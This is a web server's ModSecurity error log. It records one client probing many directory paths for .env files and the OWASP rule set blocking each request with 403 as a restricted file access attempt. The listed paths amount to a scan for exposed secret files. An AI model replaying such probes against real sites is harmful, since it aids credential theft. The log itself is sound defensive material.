[Sun Oct 25 10:21:34.865082 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4QbrAXYX-KZxBobEnRRQAAAAI"]
[Sun Oct 25 10:21:34.865258 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4QbrAXYX-KZxBobEnRRQAAAAI"]
[Sun Oct 25 10:21:34.865509 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "at4QbrAXYX-KZxBobEnRRQAAAAI"]
[Sun Oct 25 10:21:34.866214 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlbQAAAAw"]
[Sun Oct 25 10:21:34.866360 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlbQAAAAw"]
[Sun Oct 25 10:21:34.866621 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/lib/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlbQAAAAw"]
[Sun Oct 25 10:21:35.024976 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4Qbw-YVEbWS5meiuhlbgAAAAw"]
[Sun Oct 25 10:21:35.025259 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4Qbw-YVEbWS5meiuhlbgAAAAw"]
[Sun Oct 25 10:21:35.025641 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at4Qbw-YVEbWS5meiuhlbgAAAAw"]
[Sun Oct 25 10:21:35.077543 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cmd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRRgAAAAI"]
[Sun Oct 25 10:21:35.077822 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRRgAAAAI"]
[Sun Oct 25 10:21:35.078205 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/cmd/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRRgAAAAI"]
[Sun Oct 25 10:21:35.141655 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4Qb7zfR6IZTglRqQr3VAAAAAU"]
[Sun Oct 25 10:21:35.141862 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4Qb7zfR6IZTglRqQr3VAAAAAU"]
[Sun Oct 25 10:21:35.142205 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4Qb7zfR6IZTglRqQr3VAAAAAU"]
[Sun Oct 25 10:21:35.210301 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4QbwYPMfHr0EMMDlnoPwAAABM"]
[Sun Oct 25 10:21:35.210569 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4QbwYPMfHr0EMMDlnoPwAAABM"]
[Sun Oct 25 10:21:35.210937 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4QbwYPMfHr0EMMDlnoPwAAABM"]
[Sun Oct 25 10:21:35.213005 2026] [security2:error] [pid 2847142:tid 2847142] [client 35.204.239.58:42634] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4Qb2rFWI1OOYf4HlpzuwAAAAc"]
[Sun Oct 25 10:21:35.213256 2026] [security2:error] [pid 2847142:tid 2847142] [client 35.204.239.58:42634] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4Qb2rFWI1OOYf4HlpzuwAAAAc"]
[Sun Oct 25 10:21:35.213580 2026] [security2:error] [pid 2847142:tid 2847142] [client 35.204.239.58:42634] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4Qb2rFWI1OOYf4HlpzuwAAAAc"]
[Sun Oct 25 10:21:35.214761 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /model/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4Qb6Gxe7V6jzF5H8VNeQAAABg"]
[Sun Oct 25 10:21:35.214932 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4Qb6Gxe7V6jzF5H8VNeQAAABg"]
[Sun Oct 25 10:21:35.215206 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/model/.env"] [unique_id "at4Qb6Gxe7V6jzF5H8VNeQAAABg"]
[Sun Oct 25 10:21:35.228108 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4QbxQ0jTZBi_DxXWPoKgAAAAk"]
[Sun Oct 25 10:21:35.228350 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4QbxQ0jTZBi_DxXWPoKgAAAAk"]
[Sun Oct 25 10:21:35.228829 2026] [security2:error] [pid 2847144:tid 2847144] [client 35.204.239.58:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4QbxQ0jTZBi_DxXWPoKgAAAAk"]
[Sun Oct 25 10:21:35.230609 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4Qbx_LOhWZWHwxzGuzZgAAAAo"]
[Sun Oct 25 10:21:35.230814 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4Qbx_LOhWZWHwxzGuzZgAAAAo"]
[Sun Oct 25 10:21:35.231184 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4Qbx_LOhWZWHwxzGuzZgAAAAo"]
[Sun Oct 25 10:21:35.237055 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4Qb4s0PO57ZJRY6eGLkAAAAAg"]
[Sun Oct 25 10:21:35.237278 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4Qb4s0PO57ZJRY6eGLkAAAAAg"]
[Sun Oct 25 10:21:35.237656 2026] [security2:error] [pid 2847143:tid 2847143] [client 35.204.239.58:42622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4Qb4s0PO57ZJRY6eGLkAAAAAg"]
[Sun Oct 25 10:21:35.241126 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4Qb4xkYfnWL-SU_mhrhgAAAA0"]
[Sun Oct 25 10:21:35.241275 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4Qb4xkYfnWL-SU_mhrhgAAAA0"]
[Sun Oct 25 10:21:35.241520 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at4Qb4xkYfnWL-SU_mhrhgAAAA0"]
[Sun Oct 25 10:21:35.249329 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4Qbw-YVEbWS5meiuhlbwAAAAw"]
[Sun Oct 25 10:21:35.249537 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4Qbw-YVEbWS5meiuhlbwAAAAw"]
[Sun Oct 25 10:21:35.249812 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4Qbw-YVEbWS5meiuhlbwAAAAw"]
